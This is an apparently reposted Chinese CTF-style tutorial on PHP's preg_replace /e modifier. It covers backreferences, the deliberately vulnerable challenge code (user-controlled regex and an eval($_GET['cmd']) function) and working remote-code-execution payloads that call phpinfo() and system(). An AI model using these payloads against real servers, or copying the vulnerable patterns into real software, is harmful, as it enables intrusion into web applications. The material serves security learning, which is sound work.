关于preg_replace \e的代码执行

这篇具有很好参考价值的文章主要介绍了关于preg_replace \e的代码执行。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

今天做题的时候,遇到一个很有趣的题目,preg_replace大家都熟悉吧,这个大多是用来过滤使用的,但是说你没想到这个也可以进行命令执行吧。

注意:下面的方法在php7被禁用了

基础

第一阶段-讲解preg_replace

首先我们来了解preg_replace,这是一个php中的函数,主要用于执行一个正则表达式的搜索和替换。

搜索:preg_replace(正则表达式,主字符串)

替换:preg_replace(正则表达式,替换字符串,主字符串)

好这样就明白了

第二阶段-子模式捕获匹配

首先我们来了解一下,什么是子模式的捕获匹配

下面先来一个实例

<?php

$str = "abcdec";
$new_str = preg_replace("/(abc)(dec)/", '\2-\1', $str);
echo $new_str;
//回显dec-abc

首先这里的过滤表达式是/(abc)(dec)/,这里其中就有两个子模式(abc)和(dec)

在这里面大家肯定注意到了\2和\1,这两个其中\1就是代表(abc)子模式的结果,\2就是(dec)子模式的结果

下面我们在看一个实例

<?php

$str = "abcabcabc";
$new_str = preg_replace("/(a)(b)(c)/", '\3\2\1-', $str);
echo $new_str;
//回显cba-cba-cba-

这里我们分析一下上面,实际上abcabcabc被分成了三组,每组中都是abc,然后再分别取出对应的字符

我们可以这样理解/(a)(b)(c)/可以看成4个过滤表达式,首先过滤/abc/,然后过滤/a/给\1,过滤/b/给\2,过滤/c/给\3
下面是检验,我们的猜测

<?php

$str = "babc aabc cabc";
$new_str = preg_replace("/(a)(b)(c)/", '\3\2\1', $str);
echo $new_str;
//回显bcba acba ccba

这里我们可以看到他是没有管多出来的字符的,验证正确

第三阶段-/e执行

我们都知道在正则表达式,可以使用一些修饰符列如i、m、g之类的,这里介绍一个e

/e修饰符会将替换字符串作为PHP代码执行

使用方法也很简单,下面是实例

<?php

$a = "phpinfo";
$str = 'string';
$new_str = preg_replace('/abc/e', $a(), $str);
//执行了phpinfo();

第四阶段-子模式和/e的应用场景

这里我们可以控制$a和$str的值,那么怎么执行代码呢,其实我这里挺明显的了,相信大家都可以看出来。

<?php

$a = $_GET['a'];
$str = $_GET['b'];
$new_str = preg_replace('/('.$a.')/e', "\\1", $str);

应该有人注意到了我这里使用的其实是\\1

因为在PHP的双引号字符串中,要表达一个"\"(反斜杠),我们需要使用"\\"(两个反斜杠)进行转义

\1 不会执行,因为它只是一个替换序列,代表相应的子串。

\\1 会执行,因为它被视为一个字符串中的代码。

然后这里进过测试可以使用的有
?a=.*&b=phpinfo()
?a=\S*&b=phpinfo()
?a=phpinfo\(\)&b=phpinfo()

这里分析一下是为什么,首先这里将上面三个传入下面的时候的样子展示出来

preg_replace('/(.*)/e', "\\1", phpinfo());
preg_replace('/(\S*)/e', "\\1", phpinfo());
preg_replace('/(phpinfo\(\))/e', "\\1", phpinfo());

这里我们就讲解第一个了,这里.*是匹配0个或多个字符(任意字符)

然后他就是匹配到了phpinfo(),然后因为他是子模式,所以\1的值就是phpinfo(),然后因为在双引号中,转义了\,\1的值phpinfo()就被当做代码执行了

\S*匹配的是非空

phpinfo\\(\\)就是匹配phpinfo()

实例题目讲解

<?php

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

首先分析foreach那里,假如我们通过get方法传输?a=b,那么$re的值就是a,$str的值就是b

所以这里$re和$str的值,我们是可以控制的。

这里可以看到其实和上面挺像的,但是我们\1的值,被当做strtolower参数的值了,如果被当做他参数的值解析了,我们就不能进行命令执行了,这里我们就要仔细观察了,他里面使用的是双引号,外面使用的单引号。

或许经常使用Python的人对这个不敏感,但是其他语言的人应该就比较敏感了,这里单引号在php代表单纯的字符串不会有任何解析,但是双引号在php中他是可以解析里面的变量的

"{${phpinfo()}}";

这里这个phpinfo()执行了,因为在{}中里面的字符串会被当做变量解析,然后里面这个变量他的值是phpinfo()的值,所以他是执行了phpinfo()

payload:
    ?\S*={${phpinfo()}}
    ?\{\$\{phpinfo\(\)\}\}={${phpinfo()}}
或者
    ?\S*={${getFlag()}}&cmd=system("dir");
    ?\{\$\{getFlag\(\)\}\}={${getFlag()}}&cmd=system("dir");

细心的朋友应该发现了,这次为什么没有.*了,因为在php变量的命名规则中是没有点的,所以他解析的时候不会当成点来解析文章来源地址https://www.toymoban.com/news/detail-423283.html

到了这里,关于关于preg_replace \e的代码执行的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【蓝桥杯EDA设计与开发】立创开源社区分享的关于蓝桥被EDA真题与仿真题的项目分析

    立创开源社区内有几个项目分享了往年 EDA 设计题目与仿真题,对此展开了学习。 【本人非科班出身,以下对项目的学习仅在我的眼界范围内发表意见,如有错误,请指正。】 来源:第十四届蓝桥杯EDA赛模拟题一 - 嘉立创EDA开源硬件平台 图 1-1 连线交叉点处,应避免出现黄色

    2024年01月20日
    浏览(40)
  • 今天你做代码检查了吗?

    当下,各行各业都在寻找可以降本增效的效率途径,AI人工智能、机器学习等概念也被广泛应用至业务中;而广州云标局推出了一款智能ide代码工具——codigger,不仅项目体检能为开发项目提供快速代码检测,主要检测维度包括bug、漏洞、codesmell、代码行数等等,不管是自己了

    2024年02月15日
    浏览(30)
  • 今天给大家带来Python炫酷爱心代码

    前言: 这个是小编之前朋友一直要小编去做的,不过之前技术不够所以一直拖欠今天也完成之前的约定吧! 至于他是谁,我就不多说了直接上代码 如果有需要的话,可以联系小编噢!

    2024年02月05日
    浏览(38)
  • 无涯教程-PHP - preg_split()函数

    preg_ split() 函数的操作与 split() 完全相同,只不过正则表达式被接受为 pattern 的输入参数。 如果指定了可选的输入参数 limit ,则仅返回子字符串的限制数量。 标志可以是以下标志的任意组合- PREG_SPLIT_NO_EMPTY               -  如果设置了此标志,则 preg_ split() 将仅返回非空

    2024年02月11日
    浏览(25)
  • yarn : 无法加载文件 C:\Users\***\AppData\Roaming\npm\yarn.ps1,因为在此系统上禁止运行脚本 PowerShell 执行策略配置教程 的解决办法

    关于这个问题,博主是在npm打包构建转到yarn打包构建时遇到的, 通过yarn打包构建项目工程时,失败:“  yarn : 无法加载文件 C:Users***AppDataRoamingnpmyarn.ps1,因为在此系统上禁止运行脚本 ” 具体信息如下: 如下图: 关于这个问题,PowerShell 脚本的执行有着严格的安全策略

    2024年01月16日
    浏览(53)
  • 【ABB】ABB机器人\RAPID中FOR重复执行判断指令

    1、FOR指令结构定义 (1)FOR指令结构 FOR  ID  FROM  EXP  TO  EXP  STEP  EXP  DO SMT ENDFOR ID:循环判断变量 **个EXP:变量起始值,**次运行变量等于这个值; 第二个EXP:变量终止值,或者叫*末尾值; 第三个EXP:变量的步长,每运行一次FOR里面语句变量值自加这个步长值,在默认情

    2024年02月09日
    浏览(62)
  • 关于转义符 \ 在php正则中的匹配问题

    今天做题遇到一个很经典的问题,记录一下,先看一段代码 看到这段代码的师傅们,思考一下,会输出success还是false 输出false,正则没有被匹配到,为什么呢? php解析正则时分为了两个步骤,一个是php对字符串的解析,之后才是对正则的解析,那么php在解析字符串时什么时

    2024年04月09日
    浏览(31)
  • 【已解决】Linux下执行Shell脚本出现$‘\r‘: command not found

    今天把 Windows 的项目导入 linux 运行,执行 shell 脚本的时候,报错了,报错如下: 是 Windows 和 Linux 的 .sh 脚本文件格式不同,如果在脚本中有空行,脚本是在 Windows 下进行编辑之后上传到 linux 上去执行的话,就会出现这个问题。 windows 下的换行符是rn,而 linux 下的换行符是

    2024年01月16日
    浏览(38)
  • SQL执行报错Incorrect string value: ‘\xF0\x9F\x98\x81\xF0\x9F...‘ for column ‘XXX‘ at row 1...

    分享一个数据库执行插入和修改语句可能会出现的bug Incorrect string value: ‘xF0x9Fx98x81xF0x9F…’ for column ‘name’ at row 1… 再来看下实际项目中服务器报错打印的日志 数据库某字段设置的是 utf8字符集 ,在执行插入或修改语句时该字段传入的值是 非utf8格式(表情或特殊字符

    2024年02月07日
    浏览(55)
  • linux和windows上执行shell脚本遇到了$‘\r‘: command not found

    启动命令在shell脚本里面,启动时遇到了$\\\'r\\\': command not found错误。 奇怪的是在测试环境的linux服务器上并没有这个问题。 解决方法:用vi/vim打开脚本,设置文件格式为unix。 其中ff是fileformat的简写。 ps: 如果想设置为windows格式,则:set ff=dos 总结: 设置文件格式 windows格式

    2024年02月16日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包